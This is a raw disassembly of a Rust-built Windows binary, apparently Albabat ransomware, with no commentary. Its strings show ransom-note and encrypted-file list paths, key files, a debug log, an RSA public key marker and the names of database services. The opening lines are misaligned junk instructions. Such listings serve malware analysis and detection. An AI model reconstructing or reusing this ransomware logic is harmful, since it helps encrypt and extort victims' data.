call fcn.1400a9e00
ud2
popfq
push rax
add al, 0
add byte [rcx + rcx*4 - 0x4b], cl
cwde
add byte [rax], al
add byte [rax + 0xf00687e], al
test ebp, ebp
push rcx
add byte [rax], al
mov rbx, qword [rsi + 0x50]
mov rdi, qword [rsi + 0x58]
mov r14, qword [rsi + 0x60]
mov eax, dword [0x1400f92c4]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
mov rax, qword [rax + 0x98]
test rax, rax
je 0x140032496
add rax, 0x110
jmp 0x14003249b
lea rbx, [rsi + 0x50]
lea rcx, [rbp + 0x2f0]
mov rdx, rbx
mov r8, r14
call fcn.14002e430
cmp qword [rbp + 0x2f0], 0
add al, byte [rax]
add byte [rax], al
add al, byte [rax]
add byte [rax], al
je 0x140032432
mov al, 0xb
mov rbx, qword [rbp + 0x450]
jmp 0x140037b88
mov r13, qword [rbp + 0x2f8]
mov r12, qword [rbp + 0x300]
cmp byte [rsi + 0x3f8], 3
jne 0x140032481
lea rcx, [rsi + 0x178]
call fcn.14000bbb0
cmp qword [rsi + 0x168], 0
je 0x140032475
mov r8, qword [rsi + 0x160]
mov rcx, qword [0x1400f91f8]
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapFree]
lea rcx, [rsi + 0x90]
call fcn.14000ad10
test r13, r13
je 0x140033c85
mov rbx, qword [rbp + 0x450]
jmp 0x1400379b4
call fcn.1400686f0
mov rax, qword [rax]
mov r8, qword [rax + 0x210]
xor eax, eax
cmp r14, 0xffffffffffffffff
sete al
cmp rax, r8
cmova r8, rax
lea rax, [rbp + 0x170]
mov qword [rsp + 0x30], rax
mov qword [rsp + 0x28], r14
mov qword [rsp + 0x20], rbx
mov r9d, 1
mov rcx, r14
xor edx, edx
call fcn.140013ac0
test rdi, rdi
je 0x1400324f2
mov rcx, qword [0x1400f91f8]
xor edx, edx
mov r8, rbx
call qword [sym.imp.kernel32.dll_HeapFree]
mov byte [rsi + 0x68], 1
movzx eax, byte [0x1400f92c0]
mov rcx, qword [0x1400f91f8]
test rcx, rcx
jne 0x140032522
call qword [sym.imp.kernel32.dll_GetProcessHeap]
test rax, rax
je 0x140037362
mov rcx, rax
mov qword [0x1400f91f8], rax
mov r8d, 0x50
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapAlloc]
test rax, rax
je 0x140037362
mov rbx, rax
movups xmm0, xmmword [0x1400bc148]
movups xmmword [rax + 0x40], xmm0
movups xmm0, xmmword [0x1400bc138]
movups xmmword [rax + 0x30], xmm0
movups xmm0, xmmword [0x1400bc128]
movups xmmword [rax + 0x20], xmm0
movups xmm0, xmmword [0x1400bc118]
movups xmmword [rax + 0x10], xmm0
movdqu xmm0, xmmword [str.MySQL57MySQL80MySQL82postgresql_x64_14postgresql_x64_15]
movdqu xmmword [rax], xmm0
mov qword [rsi + 0x50], rax
mov qword [rsi + 0x58], 5
mov qword [rsi + 0x60], 5
mov byte [rsi + 0x68], 0
mov r14d, 5
mov edi, 5
mov eax, dword [0x1400f92c4]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
mov rax, qword [rax + 0x98]
test rax, rax
je 0x1400325be
add rax, 0x110
jmp 0x1400325c3
call fcn.1400686f0
mov rax, qword [rax]
mov r8, qword [rax + 0x210]
xor eax, eax
cmp r14, 0xffffffffffffffff
sete al
cmp rax, r8
cmova r8, rax
lea rax, [rbp + 0x170]
mov qword [rsp + 0x30], rax
mov qword [rsp + 0x28], r14
mov qword [rsp + 0x20], rbx
mov r9d, 1
mov rcx, r14
xor edx, edx
call fcn.140012200
test rdi, rdi
je 0x14003261a
mov rcx, qword [0x1400f91f8]
xor edx, edx
mov r8, rbx
call qword [sym.imp.kernel32.dll_HeapFree]
mov qword [rbp + 0x470], r15
mov byte [rsi + 0x68], 1
lea rdx, [0x1400b2583]
lea rcx, [rbp + 0x2f0]
mov r8d, 0xb
call fcn.140080100
movzx eax, byte [rbp + 0x308]
cmp al, 2
je 0x140037307
mov r15, qword [rbp + 0x2f0]
mov r12, qword [rbp + 0x2f8]
mov r8, qword [rbp + 0x300]
lea r13, [rbp + 0x309]
test al, al
je 0x140032b77
mov qword [rsp + 0x20], 7
lea r9, [0x1400b245c]
lea rcx, [rbp + 0x2f0]
mov rdx, r15
call fcn.140086540
mov rbx, qword [rbp + 0x2f0]
mov r14, qword [rbp + 0x300]
lea rdx, str._rustc_82e1608dfa6e0b5569232559e3d385fea5a93112librarycore_src_slice_sort.rs
lea rcx, [rbp + 0xa0]
xor r8d, r8d
call fcn.14000fa90
mov rdi, qword [rbp + 0xa0]
mov rax, qword [rbp + 0xb0]
mov qword [rsp + 0x20], rax
lea rcx, [rbp + 0x170]
mov rdx, rbx
mov r8, r14
mov r9, rdi
call fcn.140086540
cmp qword [rbp + 0xa8], 0
je 0x1400326f8
mov rcx, qword [0x1400f91f8]
xor edx, edx
mov r8, rdi
call qword [sym.imp.kernel32.dll_HeapFree]
cmp qword [rbp + 0x2f8], 0
je 0x140032714
mov rcx, qword [0x1400f91f8]
xor edx, edx
mov r8, rbx
call qword [sym.imp.kernel32.dll_HeapFree]
test r12, r12
je 0x14003272b
mov rcx, qword [0x1400f91f8]
xor edx, edx
mov r8, r15
call qword [sym.imp.kernel32.dll_HeapFree]
mov rbx, qword [rbp + 0x170]
mov r15, qword [rbp + 0x178]
mov rdi, qword [rbp + 0x180]
mov eax, dword [0x1400f92c4]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
cmp qword [rax + 0x98], 0
jne 0x140032762
call fcn.1400686f0
mov rcx, rbx
mov rdx, rdi
call fcn.140084380
test rax, rax
je 0x1400327d3
mov ecx, eax
and ecx, 3
lea rdx, [rcx - 2]
cmp rdx, 2
jb 0x1400327d3
test rcx, rcx
je 0x1400327d3
mov rdi, rax
dec rdi
mov r14, qword [rax - 1]
mov r12, qword [rax + 7]
mov rcx, r14
call qword [r12]
cmp qword [r12 + 8], 0
je 0x1400327c1
cmp qword [r12 + 0x10], 0x11
jb 0x1400327af
mov r14, qword [r14 - 8]
mov rcx, qword [0x1400f91f8]
xor edx, edx
mov r8, r14
call qword [sym.imp.kernel32.dll_HeapFree]
mov rcx, qword [0x1400f91f8]
xor edx, edx
mov r8, rdi
call qword [sym.imp.kernel32.dll_HeapFree]
test r15, r15
je 0x1400327ea
mov rcx, qword [0x1400f91f8]
xor edx, edx
mov r8, rbx
call qword [sym.imp.kernel32.dll_HeapFree]
lea rdx, [0x1400b2583]
lea rcx, [rbp + 0x2f0]
mov r8d, 0xb
call fcn.140080100
movzx eax, byte [rbp + 0x308]
cmp al, 2
je 0x14003730b
mov r12, qword [rbp + 0x2f0]
mov r15, qword [rbp + 0x2f8]
mov r8, qword [rbp + 0x300]
test al, al
je 0x140032c17
mov qword [rsp + 0x20], 7
lea r9, [0x1400b245c]
lea rcx, [rbp + 0x2f0]
mov rdx, r12
call fcn.140086540
mov rbx, qword [rbp + 0x2f0]
mov r14, qword [rbp + 0x300]
lea rdx, str.readme
lea rcx, [rbp + 0x170]
mov r8d, 6
call fcn.14000fa90
mov rdi, qword [rbp + 0x170]
mov rax, qword [rbp + 0x180]
mov qword [rsp + 0x20], rax
lea rcx, [rbp + 0x2a8]
mov rdx, rbx
mov r8, r14
mov r9, rdi
call fcn.140086540
cmp qword [rbp + 0x178], 0
je 0x1400328b9
mov rcx, qword [0x1400f91f8]
xor edx, edx
mov r8, rdi
call qword [sym.imp.kernel32.dll_HeapFree]
cmp qword [rbp + 0x2f8], 0
je 0x1400328d5
mov rcx, qword [0x1400f91f8]
xor edx, edx
mov r8, rbx
call qword [sym.imp.kernel32.dll_HeapFree]
test r15, r15
je 0x1400328ec
mov rcx, qword [0x1400f91f8]
xor edx, edx
mov r8, r12
call qword [sym.imp.kernel32.dll_HeapFree]
lea rdx, [0x1400b2583]
lea rcx, [rbp + 0x2f0]
mov r8d, 0xb
call fcn.140080100
movzx eax, byte [rbp + 0x308]
cmp al, 2
je 0x140037312
mov r12, qword [rbp + 0x2f0]
mov r15, qword [rbp + 0x2f8]
mov r8, qword [rbp + 0x300]
test al, al
je 0x140032cb7
mov qword [rsp + 0x20], 7
lea r9, [0x1400b245c]
lea rcx, [rbp + 0x2f0]
mov rdx, r12
call fcn.140086540
mov rbx, qword [rbp + 0x2f0]
mov r14, qword [rbp + 0x300]
lea rdx, str.readme_assets
lea rcx, [rbp + 0x170]
mov r8d, 0xd
call fcn.14000fa90
mov rdi, qword [rbp + 0x170]
mov rax, qword [rbp + 0x180]
mov qword [rsp + 0x20], rax
lea rcx, [rbp + 0xa0]
mov rdx, rbx
mov r8, r14
mov r9, rdi
call fcn.140086540
cmp qword [rbp + 0x178], 0
je 0x1400329bb
mov rcx, qword [0x1400f91f8]
xor edx, edx
mov r8, rdi
call qword [sym.imp.kernel32.dll_HeapFree]
cmp qword [rbp + 0x2f8], 0
je 0x1400329d7
mov rcx, qword [0x1400f91f8]
xor edx, edx
mov r8, rbx
call qword [sym.imp.kernel32.dll_HeapFree]
test r15, r15
je 0x1400329ee
mov rcx, qword [0x1400f91f8]
xor edx, edx
mov r8, r12
call qword [sym.imp.kernel32.dll_HeapFree]
lea rdx, [0x1400b2583]
lea rcx, [rbp + 0x2f0]
mov r8d, 0xb
call fcn.140080100
movzx eax, byte [rbp + 0x308]
cmp al, 2
je 0x140037319
mov r12, qword [rbp + 0x2f0]
mov rbx, qword [rbp + 0x2f8]
mov r8, qword [rbp + 0x300]
test al, al
je 0x140032d57
mov qword [rsp + 0x20], 7
lea r9, [0x1400b245c]
lea rcx, [rbp + 0x2f0]
mov rdx, r12
call fcn.140086540
mov r15, qword [rbp + 0x2f0]
mov r13, qword [rbp + 0x300]
lea rdx, str.readme_pages______________________________List_of_ENCRYPTED_files_____n_n
lea rcx, [rbp + 0x420]
mov r8d, 0xc
call fcn.14000fa90
mov rdi, qword [rbp + 0x420]
mov rax, qword [rbp + 0x430]
mov qword [rsp + 0x20], rax
lea r14, [rbp + 0x170]
mov rcx, r14
mov rdx, r15
mov r8, r13
mov r9, rdi
call fcn.140086540
cmp qword [rbp + 0x428], 0
je 0x140032ac0
mov rcx, qword [0x1400f91f8]
xor edx, edx
mov r8, rdi
call qword [sym.imp.kernel32.dll_HeapFree]
cmp qword [rbp + 0x2f8], 0
je 0x140032adc
mov rcx, qword [0x1400f91f8]
xor edx, edx
mov r8, r15
call qword [sym.imp.kernel32.dll_HeapFree]
test rbx, rbx
je 0x140032af3
mov rcx, qword [0x1400f91f8]
xor edx, edx
mov r8, r12
call qword [sym.imp.kernel32.dll_HeapFree]
movups xmm0, xmmword [rbp + 0x2a8]
movups xmm1, xmmword [rbp + 0x2b8]
movaps xmmword [rbp + 0x2f0], xmm0
movaps xmmword [rbp + 0x300], xmm1
movups xmm0, xmmword [rbp + 0xa0]
movups xmm1, xmmword [rbp + 0xb0]
movaps xmmword [rbp + 0x310], xmm0
movaps xmmword [rbp + 0x320], xmm1
movups xmm0, xmmword [rbp + 0x170]
movdqu xmm1, xmmword [rbp + 0x180]
movaps xmmword [rbp + 0x330], xmm0
movdqa xmmword [rbp + 0x340], xmm1
mov eax, dword [0x1400f92c4]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
mov rax, qword [rax + 0x98]
test rax, rax
je 0x140032df7
add rax, 0x110
jmp 0x140032dfc
test r8, r8
je 0x140032671
lea rax, [r15 + r8]
mov rdx, r15
jmp 0x140032bac
add rdx, 2
cmp rcx, rax
cmovne rcx, rdx
nop word cs:[rax + rax]
mov rdx, rcx
cmp rcx, rax
je 0x140032671
lea rcx, [rdx + 1]
movzx r9d, byte [rdx]
test r9b, r9b
jns 0x140032ba0
cmp r9b, 0xe0
jb 0x140032b89
cmp r9b, 0xed
jne 0x140032bee
cmp rcx, rax
je 0x140032671
lea rcx, [rdx + 2]
cmp rcx, rax
je 0x140032671
cmp byte [rdx + 1], 0x9f
ja 0x140037373
add rdx, 3
mov rcx, rdx
jmp 0x140032ba0
add rdx, 2
cmp rcx, rax
cmove rdx, rcx
xor ecx, ecx
cmp rdx, rax
setne cl
add rcx, rdx
cmp r9b, 0xf0
jb 0x140032ba0
xor edx, edx
cmp rcx, rax
setne dl
add rcx, rdx
jmp 0x140032ba0
test r8, r8
je 0x14003282f
lea rax, [r12 + r8]
mov rdx, r12
jmp 0x140032c4c
add rdx, 2
cmp rcx, rax
cmovne rcx, rdx
nop word cs:[rax + rax]
mov rdx, rcx
cmp rcx, rax
je 0x14003282f
lea rcx, [rdx + 1]
movzx r9d, byte [rdx]
test r9b, r9b
jns 0x140032c40
cmp r9b, 0xe0
jb 0x140032c29
cmp r9b, 0xed
jne 0x140032c8e
cmp rcx, rax
je 0x14003282f
lea rcx, [rdx + 2]
cmp rcx, rax
je 0x14003282f
cmp byte [rdx + 1], 0x9f
ja 0x1400373c8
add rdx, 3
mov rcx, rdx
jmp 0x140032c40
add rdx, 2
cmp rcx, rax
cmove rdx, rcx
xor ecx, ecx
cmp rdx, rax
setne cl
add rcx, rdx
cmp r9b, 0xf0
jb 0x140032c40
xor edx, edx
cmp rcx, rax
setne dl
add rcx, rdx
jmp 0x140032c40
test r8, r8
je 0x140032931
lea rax, [r12 + r8]
mov rdx, r12
jmp 0x140032cec
add rdx, 2
cmp rcx, rax
cmovne rcx, rdx
nop word cs:[rax + rax]
mov rdx, rcx
cmp rcx, rax
je 0x140032931
lea rcx, [rdx + 1]
movzx r9d, byte [rdx]
test r9b, r9b
jns 0x140032ce0
cmp r9b, 0xe0
jb 0x140032cc9
cmp r9b, 0xed
jne 0x140032d2e
cmp rcx, rax
je 0x140032931
lea rcx, [rdx + 2]
cmp rcx, rax
je 0x140032931
cmp byte [rdx + 1], 0x9f
ja 0x14003741d
add rdx, 3
mov rcx, rdx
jmp 0x140032ce0
add rdx, 2
cmp rcx, rax
cmove rdx, rcx
xor ecx, ecx
cmp rdx, rax
setne cl
add rcx, rdx
cmp r9b, 0xf0
jb 0x140032ce0
xor edx, edx
cmp rcx, rax
setne dl
add rcx, rdx
jmp 0x140032ce0
test r8, r8
je 0x140032a33
lea rax, [r12 + r8]
mov rdx, r12
jmp 0x140032d8c
add rdx, 2
cmp rcx, rax
cmovne rcx, rdx
nop word cs:[rax + rax]
mov rdx, rcx
cmp rcx, rax
je 0x140032a33
lea rcx, [rdx + 1]
movzx r9d, byte [rdx]
test r9b, r9b
jns 0x140032d80
cmp r9b, 0xe0
jb 0x140032d69
cmp r9b, 0xed
jne 0x140032dce
cmp rcx, rax
je 0x140032a33
lea rcx, [rdx + 2]
cmp rcx, rax
je 0x140032a33
cmp byte [rdx + 1], 0x9f
ja 0x140037472
add rdx, 3
mov rcx, rdx
jmp 0x140032d80
add rdx, 2
cmp rcx, rax
cmove rdx, rcx
xor ecx, ecx
cmp rdx, rax
setne cl
add rcx, rdx
cmp r9b, 0xf0
jb 0x140032d80
xor edx, edx
cmp rcx, rax
setne dl
add rcx, rdx
jmp 0x140032d80
call fcn.1400686f0
mov rax, qword [rax]
mov r8, qword [rax + 0x210]
mov qword [rsp + 0x30], r14
lea rax, [rbp + 0x2f0]
mov qword [rsp + 0x20], rax
mov qword [rsp + 0x28], 3
mov ecx, 3
mov r9d, 1
xor edx, edx
call fcn.140011fa0
cmp qword [rbp + 0x2f8], 0
je 0x140032e52
mov r8, qword [rbp + 0x2f0]
mov rcx, qword [0x1400f91f8]
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapFree]
cmp qword [rbp + 0x318], 0
je 0x140032e72
mov r8, qword [rbp + 0x310]
mov rcx, qword [0x1400f91f8]
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapFree]
cmp qword [rbp + 0x338], 0
je 0x140032e92
mov r8, qword [rbp + 0x330]
mov rcx, qword [0x1400f91f8]
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapFree]
lea rdi, [rbp + 0x170]
mov rcx, rdi
call fcn.14001c100
lea rdx, [0x1400b2463]
mov r8d, 7
mov rcx, rdi
call fcn.14001b600
test rax, rax
je 0x140037320
movdqu xmm0, xmmword [rax]
movdqu xmmword [rbp + 0x420], xmm0
lea rax, [rbp + 0x420]
mov qword [rbp + 0x2a8], rax
lea rax, [0x140051570]
mov qword [rbp + 0x2b0], rax
lea rax, [0x1400b8400]
mov qword [rbp + 0x2f0], rax
mov qword [rbp + 0x2f8], 2
mov qword [rbp + 0x310], 0
lea rdi, [rbp + 0x2a8]
mov qword [rbp + 0x300], rdi
mov qword [rbp + 0x308], 1
lea rcx, [rbp + 0xa0]
lea rdx, [rbp + 0x2f0]
call fcn.140040880
mov rbx, qword [rbp + 0xa0]
mov r8, qword [rbp + 0xb0]
mov rcx, rdi
mov rdx, rbx
call fcn.140096da0
mov qword [rbp + 0x70], rdi
lea rax, [0x140015030]
mov qword [rbp + 0x78], rax
lea rax, str._rustc_82e1608dfa6e0b5569232559e3d385fea5a93112librarycore_src_slice_sort.rs
mov qword [rbp + 0x2f0], rax
mov qword [rbp + 0x2f8], 2
mov qword [rbp + 0x310], 0
lea rax, [rbp + 0x70]
mov qword [rbp + 0x300], rax
mov qword [rbp + 0x308], 1
lea rcx, [rbp + 0x420]
lea rdx, [rbp + 0x2f0]
call fcn.140040880
cmp qword [rbp + 0x2b0], 0
je 0x140032fcc
mov r8, qword [rbp + 0x2a8]
mov rcx, qword [0x1400f91f8]
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapFree]
cmp qword [rbp + 0xa8], 0
je 0x140032fe8
mov rcx, qword [0x1400f91f8]
xor edx, edx
mov r8, rbx
call qword [sym.imp.kernel32.dll_HeapFree]
mov rcx, qword [rbp + 0x178]
test rcx, rcx
je 0x140033021
mov rax, rcx
shl rax, 5
add rcx, rax
cmp rcx, 0xffffffffffffffcf
je 0x140033021
mov r8, qword [rbp + 0x170]
sub r8, rax
add r8, 0xffffffffffffffe0
mov rcx, qword [0x1400f91f8]
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapFree]
mov rax, qword [rbp + 0x420]
mov qword [rbp + 0x468], rax
mov rdi, qword [rbp + 0x428]
mov r12, qword [rbp + 0x430]
lea rdx, [0x1400b2583]
lea rcx, [rbp + 0x2f0]
mov r8d, 0xb
call fcn.140080100
movzx eax, byte [rbp + 0x308]
cmp al, 2
je 0x14003733a
mov r13, qword [rbp + 0x2f0]
mov r15, qword [rbp + 0x2f8]
mov r8, qword [rbp + 0x300]
test al, al
je 0x1400335dd
mov qword [rbp + 0x458], rdi
mov qword [rsp + 0x20], 7
lea r9, [0x1400b245c]
lea rcx, [rbp + 0x2f0]
mov rdx, r13
call fcn.140086540
mov rbx, qword [rbp + 0x2f0]
mov r14, qword [rbp + 0x300]
lea rdx, str.Encryption_DBG.log
lea rcx, [rbp + 0xa0]
mov r8d, 0x12
call fcn.14000fa90
mov rdi, qword [rbp + 0xa0]
mov rax, qword [rbp + 0xb0]
mov qword [rsp + 0x20], rax
lea rcx, [rbp + 0x170]
mov rdx, rbx
mov r8, r14
mov r9, rdi
call fcn.140086540
cmp qword [rbp + 0xa8], 0
je 0x140033113
mov rcx, qword [0x1400f91f8]
xor edx, edx
mov r8, rdi
call qword [sym.imp.kernel32.dll_HeapFree]
cmp qword [rbp + 0x2f8], 0
je 0x14003312f
mov rcx, qword [0x1400f91f8]
xor edx, edx
mov r8, rbx
call qword [sym.imp.kernel32.dll_HeapFree]
test r15, r15
je 0x140033146
mov rcx, qword [0x1400f91f8]
xor edx, edx
mov r8, r13
call qword [sym.imp.kernel32.dll_HeapFree]
mov dword [rbp + 0x2f0], 0
pxor xmm0, xmm0
movdqu xmmword [rbp + 0x2f8], xmm0
mov dword [rbp + 0x308], 7
mov qword [rbp + 0x30c], 0
mov word [rbp + 0x314], 0
mov byte [rbp + 0x311], 1
mov byte [rbp + 0x314], 1
mov byte [rbp + 0x313], 1
mov rdi, qword [rbp + 0x170]
mov rdx, qword [rbp + 0x180]
lea r8, [rbp + 0x2f0]
mov rcx, rdi
call fcn.140082100
mov r14, rax
mov rbx, rdx
cmp qword [rbp + 0x178], 0
mov r15, qword [rbp + 0x470]
je 0x1400331d5
mov rcx, qword [0x1400f91f8]
xor edx, edx
mov r8, rdi
call qword [sym.imp.kernel32.dll_HeapFree]
test r14, r14
je 0x140033677
movzx eax, byte [0x1400f92c0]
mov rcx, qword [0x1400f91f8]
test rcx, rcx
jne 0x14003320a
call qword [sym.imp.kernel32.dll_GetProcessHeap]
test rax, rax
je 0x1400372d4
mov rcx, rax
mov qword [0x1400f91f8], rax
mov r8d, 8
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapAlloc]
test rax, rax
je 0x1400372d4
mov r13, rax
mov qword [rax], rbx
lea r12, [0x1400b0c00]
cmp qword [rbp + 0x458], 0
mov rdi, qword [rbp + 0x450]
je 0x140033255
mov rcx, qword [0x1400f91f8]
xor edx, edx
mov r8, qword [rbp + 0x468]
call qword [sym.imp.kernel32.dll_HeapFree]
mov byte [rdi], 1
mov rcx, rdi
call fcn.14000c090
test r13, r13
jne 0x1400379bf
lea rdx, [0x1400b2583]
lea rcx, [rbp + 0x2f0]
mov r8d, 0xb
call fcn.140080100
movzx eax, byte [rbp + 0x308]
cmp al, 2
je 0x1400375bb
mov r15, qword [rbp + 0x2f0]
mov r12, qword [rbp + 0x2f8]
mov r8, qword [rbp + 0x300]
test al, al
je 0x140033a1b
mov qword [rsp + 0x20], 7
lea r9, [0x1400b245c]
lea rcx, [rbp + 0x2f0]
mov rdx, r15
call fcn.140086540
mov rbx, qword [rbp + 0x2f0]
mov r14, qword [rbp + 0x300]
lea rdx, str.Albabat.ekeyAlbabat.keyAlbabat_Searchpersonal_id.txt
lea rcx, [rbp + 0xa0]
mov r8d, 0xc
call fcn.14000fa90
mov rdi, qword [rbp + 0xa0]
mov rax, qword [rbp + 0xb0]
mov qword [rsp + 0x20], rax
lea rcx, [rbp + 0x170]
mov rdx, rbx
mov r8, r14
mov r9, rdi
call fcn.140086540
cmp qword [rbp + 0xa8], 0
je 0x140033338
mov rcx, qword [0x1400f91f8]
xor edx, edx
mov r8, rdi
call qword [sym.imp.kernel32.dll_HeapFree]
cmp qword [rbp + 0x2f8], 0
je 0x140033354
mov rcx, qword [0x1400f91f8]
xor edx, edx
mov r8, rbx
call qword [sym.imp.kernel32.dll_HeapFree]
test r12, r12
je 0x14003336b
mov rcx, qword [0x1400f91f8]
xor edx, edx
mov r8, r15
call qword [sym.imp.kernel32.dll_HeapFree]
mov rbx, qword [rbp + 0x170]
mov r8, qword [rbp + 0x180]
lea rcx, [rbp + 0x2f0]
mov rdx, rbx
call case.0x1400861b2.392
cmp dword [rbp + 0x2f0], 2
jne 0x1400336b4
mov rax, qword [rbp + 0x2f8]
mov ecx, eax
and ecx, 3
lea rdx, [rcx - 2]
cmp rdx, 2
jb 0x1400333f8
test rcx, rcx
je 0x1400333f8
lea rdi, [rax - 1]
mov r14, qword [rax - 1]
mov r15, qword [rax + 7]
mov rcx, r14
call qword [r15]
cmp qword [r15 + 8], 0
je 0x1400333e6
cmp qword [r15 + 0x10], 0x11
jb 0x1400333d4
mov r14, qword [r14 - 8]
mov rcx, qword [0x1400f91f8]
xor edx, edx
mov r8, r14
call qword [sym.imp.kernel32.dll_HeapFree]
mov rcx, qword [0x1400f91f8]
xor edx, edx
mov r8, rdi
call qword [sym.imp.kernel32.dll_HeapFree]
cmp qword [rbp + 0x178], 0
je 0x140033414
mov rcx, qword [0x1400f91f8]
xor edx, edx
mov r8, rbx
call qword [sym.imp.kernel32.dll_HeapFree]
call fcn.140064380
mov rdi, rax
pxor xmm0, xmm0
movdqa xmmword [rbp + 0x300], xmm0
movdqa xmmword [rbp + 0x2f0], xmm0
lea rdx, [rbp + 0x2f0]
mov r8d, 0x20
mov rcx, rax
call fcn.140064a50
movaps xmm6, xmmword [rbp + 0x2f0]
movaps xmm7, xmmword [rbp + 0x300]
dec qword [rdi]
jne 0x140033470
dec qword [rdi + 8]
jne 0x140033470
mov rcx, qword [0x1400f91f8]
xor edx, edx
mov r8, rdi
call qword [sym.imp.kernel32.dll_HeapFree]
call fcn.140064380
mov rdi, rax
movzx eax, byte [0x1400f92c0]
mov ecx, 0x70
mov edx, 8
call fcn.1400515f0
test rax, rax
je 0x1400375c2
mov rbx, rax
movaps xmm9, xmmword [0x1400b05d0]
movups xmmword [rax + 0x10], xmm9
movaps xmm10, xmmword [0x1400b05c0]
movups xmmword [rax], xmm10
pxor xmm8, xmm8
movdqu xmmword [rax + 0x20], xmm8
movdqu xmmword [rax + 0x30], xmm8
movdqu xmmword [rax + 0x40], xmm8
movdqu xmmword [rax + 0x50], xmm8
movdqu xmmword [rax + 0x59], xmm8
movzx eax, byte [0x1400f92c0]
mov ecx, 0x70
mov edx, 8
call fcn.1400515f0
test rax, rax
je 0x1400375c2
mov r15, rax
movups xmmword [rax + 0x10], xmm9
movups xmmword [rax], xmm10
movdqu xmmword [rax + 0x20], xmm8
movdqu xmmword [rax + 0x30], xmm8
movdqu xmmword [rax + 0x40], xmm8
movdqu xmmword [rax + 0x50], xmm8
movdqu xmmword [rax + 0x59], xmm8
lea rcx, [rbp + 0x2f0]
call fcn.14004bbf0
mov r14d, dword [rbp + 0x2f0]
cmp r14d, 2
mov qword [rbp + 0x2d8], rdi
mov qword [rbp + 0x458], rbx
mov qword [rbp + 0x2a0], r15
jne 0x140033c30
mov r8, qword [rbp + 0x308]
mov r13, qword [rbp + 0x310]
cmp qword [rbp + 0x300], 0xe
jne 0x140033594
mov rax, qword [rbp + 0x2f8]
movabs rcx, 0x4c42555020415352
xor rcx, qword [rax]
movabs rdx, 0x59454b2043494c42
xor rdx, qword [rax + 6]
or rdx, rcx
je 0x14003497c
mov r12d, 9
lea rax, str.RSA_PUBLIC_KEYC:Userswilliamcanin.cargo_registry_srcindex.crates.io_6f17d22bba15001f_rayon_1.8.0_srciterpar_bridge.rs
mov qword [rbp + 0x468], rax
mov r15d, 4
test r13, r13
je 0x140033eb3
mov rcx, qword [0x1400f91f8]
xor r14d, r14d
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapFree]
mov eax, 0xe
mov ebx, 0xe
movq xmm8, rax
jmp 0x140033ec5
test r8, r8
je 0x140033082
lea rax, [r8 + r13]
mov rdx, r13
jmp 0x14003360c
add rdx, 2
cmp rcx, rax
cmovne rcx, rdx
nop word [rax + rax]
mov rdx, rcx
cmp rcx, rax
je 0x140033082
lea rcx, [rdx + 1]
movzx r9d, byte [rdx]
test r9b, r9b
jns 0x140033600
cmp r9b, 0xe0
jb 0x1400335ef
cmp r9b, 0xed
jne 0x14003364e
cmp rcx, rax
je 0x140033082
lea rcx, [rdx + 2]
cmp rcx, rax
je 0x140033082
cmp byte [rdx + 1], 0x9f
ja case.0x14001bae2.307
add rdx, 3
mov rcx, rdx
jmp 0x140033600
add rdx, 2
cmp rcx, rax
cmove rdx, rcx
xor ecx, ecx
cmp rdx, rax
setne cl
add rcx, rdx
cmp r9b, 0xf0
jb 0x140033600
xor edx, edx
cmp rcx, rax
setne dl
add rcx, rdx
jmp 0x140033600
mov qword [rbp + 0x2a8], rbx
lea rcx, [rbp + 0x2a8]
mov rdx, qword [rbp + 0x468]
mov r8, r12
call fcn.140008210
test rax, rax
je 0x140033bff
mov rcx, rax
call fcn.140007e00
mov r13, rax
lea r12, [0x1400b0c00]
jmp 0x140033e90
cmp qword [rbp + 0x178], 0
je 0x1400336d0
mov rcx, qword [0x1400f91f8]
xor edx, edx
mov r8, rbx
call qword [sym.imp.kernel32.dll_HeapFree]
call fcn.140064380
mov rdi, rax
pxor xmm0, xmm0
movdqa xmmword [rbp + 0x300], xmm0
movdqa xmmword [rbp + 0x2f0], xmm0
lea rdx, [rbp + 0x2f0]
mov r8d, 0x20
mov rcx, rax
call fcn.140064a50
movaps xmm6, xmmword [rbp + 0x2f0]
movaps xmm7, xmmword [rbp + 0x300]
dec qword [rdi]
jne 0x14003372c
dec qword [rdi + 8]
jne 0x14003372c
mov rcx, qword [0x1400f91f8]
xor edx, edx
mov r8, rdi
call qword [sym.imp.kernel32.dll_HeapFree]
lea rdx, [0x1400b2583]
lea rcx, [rbp + 0x170]
mov r8d, 0xb
call fcn.1400818e0
cmp byte [rbp + 0x188], 3
jne case.0x1400263ce.246
mov rbx, qword [rbp + 0x170]
mov r12, qword [rbp + 0x178]
mov r8, qword [rbp + 0x180]
mov qword [rsp + 0x20], 7
lea r9, [0x1400b245c]
lea rcx, [rbp + 0x2f0]
mov rdx, rbx
call fcn.140086540
mov r14, qword [rbp + 0x2f0]
mov r15, qword [rbp + 0x300]
lea rdx, [0x1400b8635]
lea rcx, [rbp + 0x170]
mov r8d, 0xf
call fcn.14000fa90
mov rdi, qword [rbp + 0x170]
mov rax, qword [rbp + 0x180]
mov qword [rsp + 0x20], rax
lea rcx, [rbp + 0xa0]
mov rdx, r14
mov r8, r15
mov r9, rdi
call fcn.140086540
cmp qword [rbp + 0x178], 0
je 0x1400337f1
mov rcx, qword [0x1400f91f8]
xor edx, edx
mov r8, rdi
call qword [sym.imp.kernel32.dll_HeapFree]
cmp qword [rbp + 0x2f8], 0
mov r15, qword [rbp + 0x470]
je 0x140033814
mov rcx, qword [0x1400f91f8]
xor edx, edx
mov r8, r14
call qword [sym.imp.kernel32.dll_HeapFree]
test r12, r12
je 0x14003382b
mov rcx, qword [0x1400f91f8]
xor edx, edx
mov r8, rbx
call qword [sym.imp.kernel32.dll_HeapFree]
mov rbx, qword [rbp + 0xa0]
mov r8, qword [rbp + 0xb0]
lea rcx, [rbp + 0x2f0]
mov rdx, rbx
call case.0x1400861b2.392
cmp dword [rbp + 0x2f0], 2
je 0x14003543a
cmp qword [rbp + 0xa8], 0
je 0x140033871
